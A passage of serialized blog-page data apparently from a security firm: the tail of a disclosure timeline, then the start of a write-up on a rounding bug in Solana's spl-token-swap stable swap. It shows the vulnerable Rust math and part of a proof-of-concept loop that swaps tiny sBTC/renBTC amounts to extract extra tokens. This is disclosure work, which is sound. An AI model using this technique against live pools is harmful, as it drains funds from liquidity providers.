notified",{"type":22,"tag":43,"props":4038,"children":4039},{},[4040,4044],{"type":22,"tag":65,"props":4041,"children":4042},{},[4043],{"type":27,"value":4019},{"type":22,"tag":65,"props":4045,"children":4046},{},[4047],{"type":27,"value":4048},"Apricot triages report",{"type":22,"tag":43,"props":4050,"children":4051},{},[4052,4056],{"type":22,"tag":65,"props":4053,"children":4054},{},[4055],{"type":27,"value":4019},{"type":22,"tag":65,"props":4057,"children":4058},{},[4059],{"type":27,"value":4060},"Switchboard triages report",{"type":22,"tag":43,"props":4062,"children":4063},{},[4064,4069],{"type":22,"tag":65,"props":4065,"children":4066},{},[4067],{"type":27,"value":4068},"1/06",{"type":22,"tag":65,"props":4070,"children":4071},{},[4072],{"type":27,"value":4073},"Tulip is notified",{"type":22,"tag":43,"props":4075,"children":4076},{},[4077,4082],{"type":22,"tag":65,"props":4078,"children":4079},{},[4080],{"type":27,"value":4081},"1/07",{"type":22,"tag":65,"props":4083,"children":4084},{},[4085],{"type":27,"value":4086},"Tulip releases patch",{"type":22,"tag":43,"props":4088,"children":4089},{},[4090,4095],{"type":22,"tag":65,"props":4091,"children":4092},{},[4093],{"type":27,"value":4094},"1/08",{"type":22,"tag":65,"props":4096,"children":4097},{},[4098],{"type":27,"value":4099},"Port is notified",{"type":22,"tag":43,"props":4101,"children":4102},{},[4103,4107],{"type":22,"tag":65,"props":4104,"children":4105},{},[4106],{"type":27,"value":4094},{"type":22,"tag":65,"props":4108,"children":4109},{},[4110],{"type":27,"value":4111},"Port triages report",{"type":22,"tag":43,"props":4113,"children":4114},{},[4115,4120],{"type":22,"tag":65,"props":4116,"children":4117},{},[4118],{"type":27,"value":4119},"1/20",{"type":22,"tag":65,"props":4121,"children":4122},{},[4123],{"type":27,"value":4124},"Switchboard releases patch (Port covered)",{"type":22,"tag":43,"props":4126,"children":4127},{},[4128,4133],{"type":22,"tag":65,"props":4129,"children":4130},{},[4131],{"type":27,"value":4132},"1/21",{"type":22,"tag":65,"props":4134,"children":4135},{},[4136],{"type":27,"value":4137},"Apricot releases patch",{"type":22,"tag":4139,"props":4140,"children":4141},"style",{},[4142],{"type":27,"value":4143},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":1545,"depth":1545,"links":4145},[4146,4151,4155,4156],{"id":171,"depth":1545,"text":174,"children":4147},[4148,4149,4150],{"id":183,"depth":1560,"text":186},{"id":227,"depth":1560,"text":230},{"id":1490,"depth":1560,"text":1493},{"id":1707,"depth":1545,"text":1710,"children":4152},[4153,4154],{"id":1852,"depth":1560,"text":1855},{"id":1918,"depth":1560,"text":1921},{"id":1974,"depth":1545,"text":1977},{"id":3966,"depth":1545,"text":3969},"markdown","content:blog:2022-02-16-lp-token-oracle-manipulation.md","content","blog/2022-02-16-lp-token-oracle-manipulation.md","blog/2022-02-16-lp-token-oracle-manipulation","md",[4164,6671,7006,10557,14914,20049,30316,31747,32510,36736,41762,47194,48350,51841,62235,68964,70803,72513,77178,91074,93795,98582,101022,103367,109153,124952,133252,143174,148452,157844,160181],{"_path":4165,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":4166,"description":4167,"image":4168,"date":4172,"isFeatured":17,"tags":4173,"onBlogPage":17,"body":4175,"_type":4157,"_id":6668,"_source":4159,"_file":6669,"_stem":6670,"_extension":4162},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":4169,"width":4170,"height":4171},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[16,4174],"report",{"type":19,"children":4176,"toc":6662},[4177,4191,4196,4201,4209,4215,4220,4225,4234,4242,4247,4252,4260,4265,4270,4659,4669,4674,5219,5224,5232,5239,5245,5250,5255,5260,5267,5279,5284,5296,5509,5514,5519,5523,5528,5533,5579,5584,5592,5597,5602,5607,5751,5764,5880,5894,5902,5916,5924,5937,5942,5954,5962,5984,6602,6606,6611,6623,6636,6643,6648,6653,6658],{"type":22,"tag":23,"props":4178,"children":4179},{},[4180,4182,4189],{"type":27,"value":4181},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":22,"tag":69,"props":4183,"children":4186},{"href":4184,"rel":4185},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[73],[4187],{"type":27,"value":4188},"spl-token-swap",{"type":27,"value":4190},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":22,"tag":23,"props":4192,"children":4193},{},[4194],{"type":27,"value":4195},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":22,"tag":23,"props":4197,"children":4198},{},[4199],{"type":27,"value":4200},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":22,"tag":23,"props":4202,"children":4203},{},[4204],{"type":22,"tag":1699,"props":4205,"children":4206},{},[4207],{"type":27,"value":4208},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":22,"tag":169,"props":4210,"children":4212},{"id":4211},"discovery",[4213],{"type":27,"value":4214},"Discovery",{"type":22,"tag":23,"props":4216,"children":4217},{},[4218],{"type":27,"value":4219},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":22,"tag":23,"props":4221,"children":4222},{},[4223],{"type":27,"value":4224},"After a while, he noticed something weird..",{"type":22,"tag":4226,"props":4227,"children":4228},"blockquote",{},[4229],{"type":22,"tag":23,"props":4230,"children":4231},{},[4232],{"type":27,"value":4233},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":22,"tag":618,"props":4235,"children":4237},{"code":4236},"KwnjUuZ :              0 9vMJfxu ->              1 EPjFWdd\nKwnjUuZ :              1 EPjFWdd ->              2 9vMJfxu\nKwnjUuZ :              2 9vMJfxu ->              3 EPjFWdd\nHU1tejU :              3 EPjFWdd ->            625 PRT88Rk\n24ZbKS3 :            625 PRT88Rk ->              7 EPjFWdd\n3oRPcFa :              7 EPjFWdd ->              6 BQcdHdA\n",[4238],{"type":22,"tag":257,"props":4239,"children":4240},{"__ignoreMap":7},[4241],{"type":27,"value":4236},{"type":22,"tag":23,"props":4243,"children":4244},{},[4245],{"type":27,"value":4246},"Somehow, we were getting tokens from nothing?",{"type":22,"tag":23,"props":4248,"children":4249},{},[4250],{"type":27,"value":4251},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":22,"tag":618,"props":4253,"children":4255},{"code":4254},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[4256],{"type":22,"tag":257,"props":4257,"children":4258},{"__ignoreMap":7},[4259],{"type":27,"value":4254},{"type":22,"tag":23,"props":4261,"children":4262},{},[4263],{"type":27,"value":4264},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":22,"tag":23,"props":4266,"children":4267},{},[4268],{"type":27,"value":4269},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":22,"tag":618,"props":4271,"children":4275},{"code":4272,"language":4273,"meta":7,"className":4274,"style":7},"    // Solve for y by approximating: y**2 + b*y = c\n    let mut y = d_val;\n    for _ in 0..ITERATIONS {\n        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n        if y_new == y {\n            break;\n        } else {\n            y = y_new;\n        }\n    }\n","rust","language-rust shiki shiki-themes slack-dark",[4276],{"type":22,"tag":257,"props":4277,"children":4278},{"__ignoreMap":7},[4279,4288,4323,4358,4464,4568,4595,4607,4624,4644,4652],{"type":22,"tag":264,"props":4280,"children":4281},{"class":1534,"line":1535},[4282],{"type":22,"tag":264,"props":4283,"children":4285},{"style":4284},"--shiki-default:#6A9955",[4286],{"type":27,"value":4287},"    // Solve for y by approximating: y**2 + b*y = c\n",{"type":22,"tag":264,"props":4289,"children":4290},{"class":1534,"line":1545},[4291,4297,4302,4307,4313,4318],{"type":22,"tag":264,"props":4292,"children":4294},{"style":4293},"--shiki-default:#569CD6",[4295],{"type":27,"value":4296},"    let",{"type":22,"tag":264,"props":4298,"children":4299},{"style":4293},[4300],{"type":27,"value":4301}," mut",{"type":22,"tag":264,"props":4303,"children":4304},{"style":1549},[4305],{"type":27,"value":4306}," y",{"type":22,"tag":264,"props":4308,"children":4310},{"style":4309},"--shiki-default:#D4D4D4",[4311],{"type":27,"value":4312}," =",{"type":22,"tag":264,"props":4314,"children":4315},{"style":1549},[4316],{"type":27,"value":4317}," d_val",{"type":22,"tag":264,"props":4319,"children":4320},{"style":1539},[4321],{"type":27,"value":4322},";\n",{"type":22,"tag":264,"props":4324,"children":4325},{"class":1534,"line":1560},[4326,4332,4337,4342,4348,4353],{"type":22,"tag":264,"props":4327,"children":4329},{"style":4328},"--shiki-default:#C586C0",[4330],{"type":27,"value":4331},"    for",{"type":22,"tag":264,"props":4333,"children":4334},{"style":1549},[4335],{"type":27,"value":4336}," _",{"type":22,"tag":264,"props":4338,"children":4339},{"style":4293},[4340],{"type":27,"value":4341}," in",{"type":22,"tag":264,"props":4343,"children":4345},{"style":4344},"--shiki-default:#B5CEA8",[4346],{"type":27,"value":4347}," 0",{"type":22,"tag":264,"props":4349,"children":4350},{"style":4309},[4351],{"type":27,"value":4352},"..",{"type":22,"tag":264,"props":4354,"children":4355},{"style":1539},[4356],{"type":27,"value":4357},"ITERATIONS {\n",{"type":22,"tag":264,"props":4359,"children":4360},{"class":1534,"line":1569},[4361,4366,4371,4376,4381,4386,4391,4395,4399,4405,4409,4414,4419,4423,4427,4431,4436,4441,4445,4450,4454,4459],{"type":22,"tag":264,"props":4362,"children":4363},{"style":4293},[4364],{"type":27,"value":4365},"        let",{"type":22,"tag":264,"props":4367,"children":4368},{"style":1539},[4369],{"type":27,"value":4370}," (",{"type":22,"tag":264,"props":4372,"children":4373},{"style":1549},[4374],{"type":27,"value":4375},"y_new",{"type":22,"tag":264,"props":4377,"children":4378},{"style":1539},[4379],{"type":27,"value":4380},", ",{"type":22,"tag":264,"props":4382,"children":4383},{"style":1549},[4384],{"type":27,"value":4385},"_",{"type":22,"tag":264,"props":4387,"children":4388},{"style":1539},[4389],{"type":27,"value":4390},") ",{"type":22,"tag":264,"props":4392,"children":4393},{"style":4309},[4394],{"type":27,"value":429},{"type":22,"tag":264,"props":4396,"children":4397},{"style":1539},[4398],{"type":27,"value":4370},{"type":22,"tag":264,"props":4400,"children":4402},{"style":4401},"--shiki-default:#DCDCAA",[4403],{"type":27,"value":4404},"checked_u8_power",{"type":22,"tag":264,"props":4406,"children":4407},{"style":1539},[4408],{"type":27,"value":2660},{"type":22,"tag":264,"props":4410,"children":4411},{"style":4309},[4412],{"type":27,"value":4413},"&",{"type":22,"tag":264,"props":4415,"children":4416},{"style":1549},[4417],{"type":27,"value":4418},"y",{"type":22,"tag":264,"props":4420,"children":4421},{"style":1539},[4422],{"type":27,"value":4380},{"type":22,"tag":264,"props":4424,"children":4425},{"style":4344},[4426],{"type":27,"value":3568},{"type":22,"tag":264,"props":4428,"children":4429},{"style":1539},[4430],{"type":27,"value":2806},{"type":22,"tag":264,"props":4432,"children":4433},{"style":4309},[4434],{"type":27,"value":4435},"?.",{"type":22,"tag":264,"props":4437,"children":4438},{"style":4401},[4439],{"type":27,"value":4440},"checked_add",{"type":22,"tag":264,"props":4442,"children":4443},{"style":1539},[4444],{"type":27,"value":2660},{"type":22,"tag":264,"props":4446,"children":4447},{"style":1549},[4448],{"type":27,"value":4449},"c",{"type":22,"tag":264,"props":4451,"children":4452},{"style":1539},[4453],{"type":27,"value":2806},{"type":22,"tag":264,"props":4455,"children":4456},{"style":4309},[4457],{"type":27,"value":4458},"?",{"type":22,"tag":264,"props":4460,"children":4461},{"style":1539},[4462],{"type":27,"value":4463},")\n",{"type":22,"tag":264,"props":4465,"children":4466},{"class":1534,"line":1583},[4467,4472,4477,4481,4486,4490,4494,4498,4502,4506,4510,4514,4518,4522,4526,4530,4534,4539,4543,4548,4552,4556,4560,4564],{"type":22,"tag":264,"props":4468,"children":4469},{"style":4309},[4470],{"type":27,"value":4471},"            .",{"type":22,"tag":264,"props":4473,"children":4474},{"style":4401},[4475],{"type":27,"value":4476},"checked_ceil_div",{"type":22,"tag":264,"props":4478,"children":4479},{"style":1539},[4480],{"type":27,"value":2660},{"type":22,"tag":264,"props":4482,"children":4483},{"style":4401},[4484],{"type":27,"value":4485},"checked_u8_mul",{"type":22,"tag":264,"props":4487,"children":4488},{"style":1539},[4489],{"type":27,"value":2660},{"type":22,"tag":264,"props":4491,"children":4492},{"style":4309},[4493],{"type":27,"value":4413},{"type":22,"tag":264,"props":4495,"children":4496},{"style":1549},[4497],{"type":27,"value":4418},{"type":22,"tag":264,"props":4499,"children":4500},{"style":1539},[4501],{"type":27,"value":4380},{"type":22,"tag":264,"props":4503,"children":4504},{"style":4344},[4505],{"type":27,"value":3568},{"type":22,"tag":264,"props":4507,"children":4508},{"style":1539},[4509],{"type":27,"value":2806},{"type":22,"tag":264,"props":4511,"children":4512},{"style":4309},[4513],{"type":27,"value":4435},{"type":22,"tag":264,"props":4515,"children":4516},{"style":4401},[4517],{"type":27,"value":4440},{"type":22,"tag":264,"props":4519,"children":4520},{"style":1539},[4521],{"type":27,"value":2660},{"type":22,"tag":264,"props":4523,"children":4524},{"style":1549},[4525],{"type":27,"value":2181},{"type":22,"tag":264,"props":4527,"children":4528},{"style":1539},[4529],{"type":27,"value":2806},{"type":22,"tag":264,"props":4531,"children":4532},{"style":4309},[4533],{"type":27,"value":4435},{"type":22,"tag":264,"props":4535,"children":4536},{"style":4401},[4537],{"type":27,"value":4538},"checked_sub",{"type":22,"tag":264,"props":4540,"children":4541},{"style":1539},[4542],{"type":27,"value":2660},{"type":22,"tag":264,"props":4544,"children":4545},{"style":1549},[4546],{"type":27,"value":4547},"d_val",{"type":22,"tag":264,"props":4549,"children":4550},{"style":1539},[4551],{"type":27,"value":2806},{"type":22,"tag":264,"props":4553,"children":4554},{"style":4309},[4555],{"type":27,"value":4458},{"type":22,"tag":264,"props":4557,"children":4558},{"style":1539},[4559],{"type":27,"value":2806},{"type":22,"tag":264,"props":4561,"children":4562},{"style":4309},[4563],{"type":27,"value":4458},{"type":22,"tag":264,"props":4565,"children":4566},{"style":1539},[4567],{"type":27,"value":4322},{"type":22,"tag":264,"props":4569,"children":4570},{"class":1534,"line":1603},[4571,4576,4581,4586,4590],{"type":22,"tag":264,"props":4572,"children":4573},{"style":4328},[4574],{"type":27,"value":4575},"        if",{"type":22,"tag":264,"props":4577,"children":4578},{"style":1549},[4579],{"type":27,"value":4580}," y_new",{"type":22,"tag":264,"props":4582,"children":4583},{"style":4309},[4584],{"type":27,"value":4585}," ==",{"type":22,"tag":264,"props":4587,"children":4588},{"style":1549},[4589],{"type":27,"value":4306},{"type":22,"tag":264,"props":4591,"children":4592},{"style":1539},[4593],{"type":27,"value":4594}," {\n",{"type":22,"tag":264,"props":4596,"children":4597},{"class":1534,"line":1612},[4598,4603],{"type":22,"tag":264,"props":4599,"children":4600},{"style":4328},[4601],{"type":27,"value":4602},"            break",{"type":22,"tag":264,"props":4604,"children":4605},{"style":1539},[4606],{"type":27,"value":4322},{"type":22,"tag":264,"props":4608,"children":4609},{"class":1534,"line":1621},[4610,4615,4620],{"type":22,"tag":264,"props":4611,"children":4612},{"style":1539},[4613],{"type":27,"value":4614},"        } ",{"type":22,"tag":264,"props":4616,"children":4617},{"style":4328},[4618],{"type":27,"value":4619},"else",{"type":22,"tag":264,"props":4621,"children":4622},{"style":1539},[4623],{"type":27,"value":4594},{"type":22,"tag":264,"props":4625,"children":4626},{"class":1534,"line":1629},[4627,4632,4636,4640],{"type":22,"tag":264,"props":4628,"children":4629},{"style":1549},[4630],{"type":27,"value":4631},"            y",{"type":22,"tag":264,"props":4633,"children":4634},{"style":4309},[4635],{"type":27,"value":4312},{"type":22,"tag":264,"props":4637,"children":4638},{"style":1549},[4639],{"type":27,"value":4580},{"type":22,"tag":264,"props":4641,"children":4642},{"style":1539},[4643],{"type":27,"value":4322},{"type":22,"tag":264,"props":4645,"children":4646},{"class":1534,"line":1642},[4647],{"type":22,"tag":264,"props":4648,"children":4649},{"style":1539},[4650],{"type":27,"value":4651},"        }\n",{"type":22,"tag":264,"props":4653,"children":4654},{"class":1534,"line":1660},[4655],{"type":22,"tag":264,"props":4656,"children":4657},{"style":1539},[4658],{"type":27,"value":1674},{"type":22,"tag":23,"props":4660,"children":4661},{},[4662,4667],{"type":22,"tag":1699,"props":4663,"children":4664},{},[4665],{"type":27,"value":4666},"approximate",{"type":27,"value":4668},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":22,"tag":23,"props":4670,"children":4671},{},[4672],{"type":27,"value":4673},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":22,"tag":618,"props":4675,"children":4677},{"code":4676,"language":4273,"meta":7,"className":4274,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n    // create swap transaction\n    let mut swap_instruction = swap(\n        &spl_token::id(),\n        &swap_pubkey,\n        &swap_authority_pubkey,\n        &test_account_signer.pubkey(),\n        &sbtc_user_account,\n        &sbtc_reserve,\n        &renbtc_reserve,\n        &renbtc_user_account,\n        &admin_fee_account_sbtc_to_ren,\n        1,\n        2\n    ).unwrap();\n\n    // nonce\n    swap_instruction.data.append(&mut vec![i, extranonce]);\n\n    let mut instructions = vec![];\n\n    instructions.push(swap_instruction);\n\n    env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[4678],{"type":22,"tag":257,"props":4679,"children":4680},{"__ignoreMap":7},[4681,4689,4730,4738,4768,4796,4813,4829,4854,4870,4886,4902,4918,4934,4946,4955,4978,4987,4996,5065,5073,5103,5111,5143,5151,5211],{"type":22,"tag":264,"props":4682,"children":4683},{"class":1534,"line":1535},[4684],{"type":22,"tag":264,"props":4685,"children":4686},{"style":4284},[4687],{"type":27,"value":4688},"// from sbtc to renbtc\n",{"type":22,"tag":264,"props":4690,"children":4691},{"class":1534,"line":1545},[4692,4697,4702,4706,4710,4715,4720,4726],{"type":22,"tag":264,"props":4693,"children":4694},{"style":4328},[4695],{"type":27,"value":4696},"for",{"type":22,"tag":264,"props":4698,"children":4699},{"style":1549},[4700],{"type":27,"value":4701}," i",{"type":22,"tag":264,"props":4703,"children":4704},{"style":4293},[4705],{"type":27,"value":4341},{"type":22,"tag":264,"props":4707,"children":4708},{"style":4344},[4709],{"type":27,"value":4347},{"type":22,"tag":264,"props":4711,"children":4712},{"style":4309},[4713],{"type":27,"value":4714}," ..",{"type":22,"tag":264,"props":4716,"children":4717},{"style":4344},[4718],{"type":27,"value":4719}," 50",{"type":22,"tag":264,"props":4721,"children":4723},{"style":4722},"--shiki-default:#4EC9B0",[4724],{"type":27,"value":4725},"u8",{"type":22,"tag":264,"props":4727,"children":4728},{"style":1539},[4729],{"type":27,"value":4594},{"type":22,"tag":264,"props":4731,"children":4732},{"class":1534,"line":1560},[4733],{"type":22,"tag":264,"props":4734,"children":4735},{"style":4284},[4736],{"type":27,"value":4737},"    // create swap transaction\n",{"type":22,"tag":264,"props":4739,"children":4740},{"class":1534,"line":1569},[4741,4745,4749,4754,4758,4763],{"type":22,"tag":264,"props":4742,"children":4743},{"style":4293},[4744],{"type":27,"value":4296},{"type":22,"tag":264,"props":4746,"children":4747},{"style":4293},[4748],{"type":27,"value":4301},{"type":22,"tag":264,"props":4750,"children":4751},{"style":1549},[4752],{"type":27,"value":4753}," swap_instruction",{"type":22,"tag":264,"props":4755,"children":4756},{"style":4309},[4757],{"type":27,"value":4312},{"type":22,"tag":264,"props":4759,"children":4760},{"style":4401},[4761],{"type":27,"value":4762}," swap",{"type":22,"tag":264,"props":4764,"children":4765},{"style":1539},[4766],{"type":27,"value":4767},"(\n",{"type":22,"tag":264,"props":4769,"children":4770},{"class":1534,"line":1583},[4771,4776,4781,4786,4791],{"type":22,"tag":264,"props":4772,"children":4773},{"style":4309},[4774],{"type":27,"value":4775},"        &",{"type":22,"tag":264,"props":4777,"children":4778},{"style":1539},[4779],{"type":27,"value":4780},"spl_token",{"type":22,"tag":264,"props":4782,"children":4783},{"style":4309},[4784],{"type":27,"value":4785},"::",{"type":22,"tag":264,"props":4787,"children":4788},{"style":4401},[4789],{"type":27,"value":4790},"id",{"type":22,"tag":264,"props":4792,"children":4793},{"style":1539},[4794],{"type":27,"value":4795},"(),\n",{"type":22,"tag":264,"props":4797,"children":4798},{"class":1534,"line":1603},[4799,4803,4808],{"type":22,"tag":264,"props":4800,"children":4801},{"style":4309},[4802],{"type":27,"value":4775},{"type":22,"tag":264,"props":4804,"children":4805},{"style":1549},[4806],{"type":27,"value":4807},"swap_pubkey",{"type":22,"tag":264,"props":4809,"children":4810},{"style":1539},[4811],{"type":27,"value":4812},",\n",{"type":22,"tag":264,"props":4814,"children":4815},{"class":1534,"line":1612},[4816,4820,4825],{"type":22,"tag":264,"props":4817,"children":4818},{"style":4309},[4819],{"type":27,"value":4775},{"type":22,"tag":264,"props":4821,"children":4822},{"style":1549},[4823],{"type":27,"value":4824},"swap_authority_pubkey",{"type":22,"tag":264,"props":4826,"children":4827},{"style":1539},[4828],{"type":27,"value":4812},{"type":22,"tag":264,"props":4830,"children":4831},{"class":1534,"line":1621},[4832,4836,4841,4845,4850],{"type":22,"tag":264,"props":4833,"children":4834},{"style":4309},[4835],{"type":27,"value":4775},{"type":22,"tag":264,"props":4837,"children":4838},{"style":1549},[4839],{"type":27,"value":4840},"test_account_signer",{"type":22,"tag":264,"props":4842,"children":4843},{"style":4309},[4844],{"type":27,"value":210},{"type":22,"tag":264,"props":4846,"children":4847},{"style":4401},[4848],{"type":27,"value":4849},"pubkey",{"type":22,"tag":264,"props":4851,"children":4852},{"style":1539},[4853],{"type":27,"value":4795},{"type":22,"tag":264,"props":4855,"children":4856},{"class":1534,"line":1629},[4857,4861,4866],{"type":22,"tag":264,"props":4858,"children":4859},{"style":4309},[4860],{"type":27,"value":4775},{"type":22,"tag":264,"props":4862,"children":4863},{"style":1549},[4864],{"type":27,"value":4865},"sbtc_user_account",{"type":22,"tag":264,"props":4867,"children":4868},{"style":1539},[4869],{"type":27,"value":4812},{"type":22,"tag":264,"props":4871,"children":4872},{"class":1534,"line":1642},[4873,4877,4882],{"type":22,"tag":264,"props":4874,"children":4875},{"style":4309},[4876],{"type":27,"value":4775},{"type":22,"tag":264,"props":4878,"children":4879},{"style":1549},[4880],{"type":27,"value":4881},"sbtc_reserve",{"type":22,"tag":264,"props":4883,"children":4884},{"style":1539},[4885],{"type":27,"value":4812},{"type":22,"tag":264,"props":4887,"children":4888},{"class":1534,"line":1660},[4889,4893,4898],{"type":22,"tag":264,"props":4890,"children":4891},{"style":4309},[4892],{"type":27,"value":4775},{"type":22,"tag":264,"props":4894,"children":4895},{"style":1549},[4896],{"type":27,"value":4897},"renbtc_reserve",{"type":22,"tag":264,"props":4899,"children":4900},{"style":1539},[4901],{"type":27,"value":4812},{"type":22,"tag":264,"props":4903,"children":4904},{"class":1534,"line":1668},[4905,4909,4914],{"type":22,"tag":264,"props":4906,"children":4907},{"style":4309},[4908],{"type":27,"value":4775},{"type":22,"tag":264,"props":4910,"children":4911},{"style":1549},[4912],{"type":27,"value":4913},"renbtc_user_account",{"type":22,"tag":264,"props":4915,"children":4916},{"style":1539},[4917],{"type":27,"value":4812},{"type":22,"tag":264,"props":4919,"children":4920},{"class":1534,"line":1677},[4921,4925,4930],{"type":22,"tag":264,"props":4922,"children":4923},{"style":4309},[4924],{"type":27,"value":4775},{"type":22,"tag":264,"props":4926,"children":4927},{"style":1549},[4928],{"type":27,"value":4929},"admin_fee_account_sbtc_to_ren",{"type":22,"tag":264,"props":4931,"children":4932},{"style":1539},[4933],{"type":27,"value":4812},{"type":22,"tag":264,"props":4935,"children":4936},{"class":1534,"line":1686},[4937,4942],{"type":22,"tag":264,"props":4938,"children":4939},{"style":4344},[4940],{"type":27,"value":4941},"        1",{"type":22,"tag":264,"props":4943,"children":4944},{"style":1539},[4945],{"type":27,"value":4812},{"type":22,"tag":264,"props":4947,"children":4949},{"class":1534,"line":4948},15,[4950],{"type":22,"tag":264,"props":4951,"children":4952},{"style":4344},[4953],{"type":27,"value":4954},"        2\n",{"type":22,"tag":264,"props":4956,"children":4958},{"class":1534,"line":4957},16,[4959,4964,4968,4973],{"type":22,"tag":264,"props":4960,"children":4961},{"style":1539},[4962],{"type":27,"value":4963},"    )",{"type":22,"tag":264,"props":4965,"children":4966},{"style":4309},[4967],{"type":27,"value":210},{"type":22,"tag":264,"props":4969,"children":4970},{"style":4401},[4971],{"type":27,"value":4972},"unwrap",{"type":22,"tag":264,"props":4974,"children":4975},{"style":1539},[4976],{"type":27,"value":4977},"();\n",{"type":22,"tag":264,"props":4979,"children":4981},{"class":1534,"line":4980},17,[4982],{"type":22,"tag":264,"props":4983,"children":4984},{"emptyLinePlaceholder":17},[4985],{"type":27,"value":4986},"\n",{"type":22,"tag":264,"props":4988,"children":4990},{"class":1534,"line":4989},18,[4991],{"type":22,"tag":264,"props":4992,"children":4993},{"style":4284},[4994],{"type":27,"value":4995},"    // nonce\n",{"type":22,"tag":264,"props":4997,"children":4999},{"class":1534,"line":4998},19,[5000,5005,5009,5014,5018,5023,5027,5031,5036,5041,5046,5051,5055,5060],{"type":22,"tag":264,"props":5001,"children":5002},{"style":1549},[5003],{"type":27,"value":5004},"    swap_instruction",{"type":22,"tag":264,"props":5006,"children":5007},{"style":4309},[5008],{"type":27,"value":210},{"type":22,"tag":264,"props":5010,"children":5011},{"style":1539},[5012],{"type":27,"value":5013},"data",{"type":22,"tag":264,"props":5015,"children":5016},{"style":4309},[5017],{"type":27,"value":210},{"type":22,"tag":264,"props":5019,"children":5020},{"style":4401},[5021],{"type":27,"value":5022},"append",{"type":22,"tag":264,"props":5024,"children":5025},{"style":1539},[5026],{"type":27,"value":2660},{"type":22,"tag":264,"props":5028,"children":5029},{"style":4309},[5030],{"type":27,"value":4413},{"type":22,"tag":264,"props":5032,"children":5033},{"style":4293},[5034],{"type":27,"value":5035},"mut",{"type":22,"tag":264,"props":5037,"children":5038},{"style":4401},[5039],{"type":27,"value":5040}," vec!",{"type":22,"tag":264,"props":5042,"children":5043},{"style":1539},[5044],{"type":27,"value":5045},"[",{"type":22,"tag":264,"props":5047,"children":5048},{"style":1549},[5049],{"type":27,"value":5050},"i",{"type":22,"tag":264,"props":5052,"children":5053},{"style":1539},[5054],{"type":27,"value":4380},{"type":22,"tag":264,"props":5056,"children":5057},{"style":1549},[5058],{"type":27,"value":5059},"extranonce",{"type":22,"tag":264,"props":5061,"children":5062},{"style":1539},[5063],{"type":27,"value":5064},"]);\n",{"type":22,"tag":264,"props":5066,"children":5068},{"class":1534,"line":5067},20,[5069],{"type":22,"tag":264,"props":5070,"children":5071},{"emptyLinePlaceholder":17},[5072],{"type":27,"value":4986},{"type":22,"tag":264,"props":5074,"children":5076},{"class":1534,"line":5075},21,[5077,5081,5085,5090,5094,5098],{"type":22,"tag":264,"props":5078,"children":5079},{"style":4293},[5080],{"type":27,"value":4296},{"type":22,"tag":264,"props":5082,"children":5083},{"style":4293},[5084],{"type":27,"value":4301},{"type":22,"tag":264,"props":5086,"children":5087},{"style":1549},[5088],{"type":27,"value":5089}," instructions",{"type":22,"tag":264,"props":5091,"children":5092},{"style":4309},[5093],{"type":27,"value":4312},{"type":22,"tag":264,"props":5095,"children":5096},{"style":4401},[5097],{"type":27,"value":5040},{"type":22,"tag":264,"props":5099,"children":5100},{"style":1539},[5101],{"type":27,"value":5102},"[];\n",{"type":22,"tag":264,"props":5104,"children":5106},{"class":1534,"line":5105},22,[5107],{"type":22,"tag":264,"props":5108,"children":5109},{"emptyLinePlaceholder":17},[5110],{"type":27,"value":4986},{"type":22,"tag":264,"props":5112,"children":5114},{"class":1534,"line":5113},23,[5115,5120,5124,5129,5133,5138],{"type":22,"tag":264,"props":5116,"children":5117},{"style":1549},[5118],{"type":27,"value":5119},"    